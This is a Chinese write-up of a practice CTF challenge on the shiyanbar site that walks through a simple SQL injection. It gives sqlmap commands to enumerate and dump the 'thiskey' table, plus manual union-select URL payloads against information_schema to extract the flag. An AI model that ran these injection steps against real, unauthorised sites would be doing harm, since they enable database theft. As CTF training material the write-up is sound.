这个看起来有点简单!-实验吧

这道题一开始点进去让人感觉有点蒙圈,不知道要考什么,后来才发现只是道简单的sql注入.........这里写两种做法。

sqlmap去跑

先去看一下有什么数据库

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs

这个看起来有点简单!-实验吧_第1张图片

有个my_db的数据库,再去扫一下有什么表

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables

这个看起来有点简单!-实验吧_第2张图片

看列名

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns

这个看起来有点简单!-实验吧_第3张图片 

看值

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump

这个看起来有点简单!-实验吧_第4张图片

这样就能拿到flag了

---------------------------我是美丽的分割线

直接用url进行注入

寻找注入点

http://ctf5.shiyanbar.com/8/index.php?id=1'        报错这个看起来有点简单!-实验吧_第5张图片http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=1        无报错

这个看起来有点简单!-实验吧_第6张图片http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2        无报错

这个看起来有点简单!-实验吧_第7张图片http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,2        有回显

通过上面四个尝试就可以知道注入点在哪里了,后台应该是接收整数进行sql查询,所以直接id=1后面就能进行注入了

首先先显示数据库有哪些

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,schema_name from information_schema.schemata

这个看起来有点简单!-实验吧_第8张图片

猜测那个my_db就是要找的数据库,然后再看数据表

 

http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_schema,table_name from information_schema.tables

这个看起来有点简单!-实验吧_第9张图片

看到my_db里面有一张thiskey的表,继续看一下里面的列

http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_name,column_name from information_schema.columns

这个看起来有点简单!-实验吧_第10张图片

然后读取k0y的值

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,k0y from thiskey

这个看起来有点简单!-实验吧_第11张图片

flag get√

 

 

 

 

 

 

 

 

 

 

你可能感兴趣的:(ctf)